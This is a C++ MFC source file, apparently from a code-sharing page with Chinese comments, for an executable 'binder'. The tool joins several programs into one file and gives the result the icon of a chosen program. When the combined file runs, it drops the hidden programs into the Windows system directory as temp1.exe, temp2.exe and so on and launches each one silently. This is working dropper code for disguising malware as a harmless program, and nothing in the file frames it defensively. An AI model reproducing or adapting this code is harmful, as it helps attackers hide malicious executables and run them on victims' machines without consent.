📄 bindfiledlg.cpp
字号:
#endif DEBUG_PRINT
pData= (BYTE*)LockResource(hMem);
for (i = 0; i < modify_data.my_length - nDataLen; i++)
{
for (k = 0; k < nDataLen; k++)
{
if (buf[i+k] != pData[k])
break;
}
if (k == nDataLen)
{
BYTE* pMatchIcon = NULL;
if (pMatchIcon = find_match_icon(pResDir+n))
memcpy(buf+i, pMatchIcon, nDataLen);
else
{
#ifdef DEBUG_PRINT
fprintf(stderr, "\t图标大小不匹配。\n");
#endif DEBUG_PRINT
pResDir[n].BytesInRes = 0;
}
break;
}
}
}
k = pDirHeader->ResCount;
pDirHeader->ResCount = 0; // 重新置图标数为0
for (n = 0; n < k; n++)
{
if (pResDir[n].BytesInRes != 0)
{
if (pDirHeader->ResCount != n)
{
memcpy(&pResDir[pDirHeader->ResCount], &pResDir[n], sizeof(pResDir[n]));
}
pDirHeader->ResCount++;
}
}
#ifdef DEBUG_PRINT
fprintf(stderr, "共: %d 个图标, \n", pDirHeader->ResCount);
for (n = 0; n < pDirHeader->ResCount; n++)
{
fprintf(stderr, "\t序号(id)=%d[%d 字节] %d宽x%d高x%d颜色数\n",
pResDir[n].IconCursorId, pResDir[n].BytesInRes,
pResDir[n].Icon.Width, pResDir[n].Icon.Height, pResDir[n].Icon.ColorCount);
}
#endif DEBUG_PRINT
memcpy(buf+i, pDirHeader, nDataLen); // 清除目录中未发现的图标
}
void CBindFileDlg::Create_Process(const char* temp_exe, BOOL async)
{
HANDLE hProcess;
HANDLE hThread;
PROCESS_INFORMATION PI;
STARTUPINFO SI;
memset(&SI, 0, sizeof(SI));
SI.cb = sizeof(SI);
CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
/* --- 暂不用,否则需要保存原始绑定的文件名称
//如果分解后的文件不是执行文件的话,则直接打开它
if(!CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI))
HINSTANCE result =ShellExecute(NULL, _T("open"), temp_exe, NULL,NULL, SW_SHOW);
--- */
hProcess = PI.hProcess;
hThread = PI.hThread;
//异步执行时,执行后不删除分解后的文件;同步执行时,执行后删除分解后的文件
if (!async) //同步执行
{
WaitForSingleObject(hProcess, INFINITE);
unlink(temp_exe);
}
}
//分解已合并的文件,同时运行它们
void CBindFileDlg::Unbind_and_Run()
{
FILE* myself; //自身文件
FILE* out; //分解后文件
int bytesin;
int totalbytes = 0;
long nFileStepbytes = 0;
CString strTmpExe = "temp";
int nIndex = 1;
TCHAR chSystemDir[MAX_PATH];
GetSystemDirectory(chSystemDir,MAX_PATH);
CString strSystemDir = chSystemDir;
buf = (BYTE*)malloc(modify_data.my_length);
myself = fopen(my_name, "rb"); //打开最终合成文件
if (myself == NULL)
{
free(buf);
MessageBox("分离文件中,打开自身文件时出错!","错误");
return;
}
//modify_data.my_length现在是捆绑文件本身的大小
nFileStepbytes = nFileStepbytes + modify_data.my_length;
struct _stat ST;
_stat(my_name, &ST);//整个文件的大小
while(nFileStepbytes != ST.st_size)
{
totalbytes = 0;
CString strIndex;
strIndex.Format("%d",nIndex);
out = fopen(strSystemDir + "\\temp" + strIndex + ".exe", "wb"); //创建第一个绑定的文件
if (out == NULL)
{
free(buf);
MessageBox("分离文件中,创建第一个被绑定文件时出错!","错误");
return;
}
//将文件指针定位到捆绑器程序长度尾部
fseek(myself, nFileStepbytes, SEEK_SET);
//读取第一个绑定文件的长度
if (fread(&prog1_length, sizeof(prog1_length), 1, myself) == 0)
{
free(buf);
MessageBox("分离文件中,读取第一个被绑定文件长度时出错!","错误");
return;
}
//读取第一个文件内容并写入
while (bytesin = fread(buf, 1, sizeof(buf), myself))
{
if (totalbytes + bytesin > prog1_length)
bytesin = prog1_length - totalbytes;
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(out); //关闭第一个绑定文件句柄
if (totalbytes == 0)
{
free(buf);
MessageBox("分离文件中,在自身文件中没有被分离的对象!","错误");
return;
}
nFileStepbytes = nFileStepbytes + sizeof(prog1_length) + prog1_length;
nIndex++;
#ifdef DEBUG_PRINT
fprintf(stderr, "已复制 %d 字节!\n", totalbytes);
#endif DEBUG_PRINT
}
fclose(myself); //关闭最终合成文件句柄
free(buf); //释放缓冲区
//置为分解后,为异步执行方式
for(int i = 1; i < nIndex; i++)
{
CString strIndex;
strIndex.Format("%d",i);
Create_Process(strSystemDir + "\\temp" + strIndex + ".exe", true);
}
}
//绑定多个文件为一个合成文件
bool CBindFileDlg::Bind_Files()
{
FILE* myself; //自身文件
FILE* out; //最终合成文件
FILE* in; //待绑定文件
int bytesin;
int totalbytes = 0;
struct _stat ST;
unsigned int finder = 0x12345678;
unsigned int i, k;
int n = m_List.GetItemCount();
if(n > 0)
{
CString strIconPathName;
GetDlgItemText(IDC_EDIT2,strIconPathName);
strIconPathName.TrimLeft();
if(strIconPathName.IsEmpty())
{
his_name = m_List.GetItemText(0,1); //第一个绑定的文件名
}
else
{
his_name = strIconPathName;
}
//AfxMessageBox(his_name);
}
else
{
MessageBox("请先添加文件!","提示",MB_ICONINFORMATION);
return false;
}
_stat(my_name, &ST);
modify_data.my_length = ST.st_size;
if (modify_data.my_length == 0)
{
MessageBox("绑定文件中,自身文件长度为零时出错!","错误");
return false;
}
buf = (BYTE *)malloc(modify_data.my_length);
if (buf == NULL)
{
MessageBox("绑定文件中,分配自身文件长度时出错!","错误");
return false;
}
myself = fopen(my_name, "rb"); //打开自身文件
if (myself == NULL)
{
free(buf);
MessageBox("绑定文件中,打开自身文件时出错!","错误");
return false;
}
bytesin = fread(buf, 1, modify_data.my_length, myself);
fclose(myself);
if (bytesin != modify_data.my_length)
{
free(buf);
MessageBox("绑定文件中,不能完全读取自身文件内容时出错!","错误");
return false;
}
for (i = 0; i < modify_data.my_length - sizeof(finder); i += sizeof(finder))
{
for (k = 0; k < sizeof(finder); k++)
{
if (buf[i+k] != ((BYTE*)&finder)[k])
break;
}
if (k == sizeof(finder)) //定位并保存自身数据文件大小
{
memcpy(buf+ i, &modify_data, sizeof(modify_data));
break;
}
}
if (i >= modify_data.my_length - sizeof(finder))
{
free(buf);
MessageBox("绑定文件中,不能定位自身文件时出错!","错误");
return false;
}
//list_my_icons();
out = fopen(m_DestPathName, "wb"); //创建最终合成文件
if (out == NULL)
{
free(buf);
MessageBox("绑定文件中,创建绑定后生成的合成文件时出错!","错误");
return false;
}
for(int j = 0; j < n; j++)
{
CString strFilePath = m_List.GetItemText(j,1);
if (_stat(strFilePath, &ST) != 0 || ST.st_size == 0)
{
free(buf);
MessageBox("绑定文件中,读取要绑定的文件时出错!","错误");
return false;
}
totalbytes += fwrite(buf, 1, bytesin, out);
in = fopen(strFilePath, "rb"); //打开要绑定的文件
if (in == NULL)
{
free(buf);
MessageBox("绑定文件中,打开要绑定的文件时出错!","错误");
return false;
}
//写入要绑定文件的长度到合成文件中
totalbytes += fwrite(&ST.st_size, 1, sizeof(ST.st_size), out);
while (bytesin = fread(buf, 1, modify_data.my_length, in))
{
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(in); //关闭绑定文件句柄
}
fclose(out); //关闭最终合成文件句柄
free(buf); //释放缓冲区
MessageBox("捆绑成功!","提示",MB_ICONINFORMATION);
return true;
}
void CBindFileDlg::OnBindFiles()
{
// TODO: Add your control notification handler code here
GetDlgItemText(IDC_EDIT1,m_DestPathName);
Bind_Files();
his_name = "";
}
void CBindFileDlg::OnDestDir()
{
CString strPathName;
CFileDialog fileDialog( FALSE,"*.exe",NULL,NULL,"可执行文件(*.exe)|*.exe||");
if (fileDialog.DoModal() == IDOK)
{
strPathName = fileDialog.GetPathName();
SetDlgItemText(IDC_EDIT1,strPathName);
}
else
{
return;
}
}
void CBindFileDlg::OnClose()
{
CDialog::OnCancel();
}
void CBindFileDlg::OnButtonselecticon()
{
// TODO: Add your control notification handler code here
CString strPathName;
CFileDialog fileDialog( FALSE,"*.exe",NULL,NULL,"可执行文件(*.exe)|*.exe||");
if (fileDialog.DoModal() == IDOK)
{
strPathName = fileDialog.GetPathName();
SetDlgItemText(IDC_EDIT2,strPathName);
}
else
{
return;
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -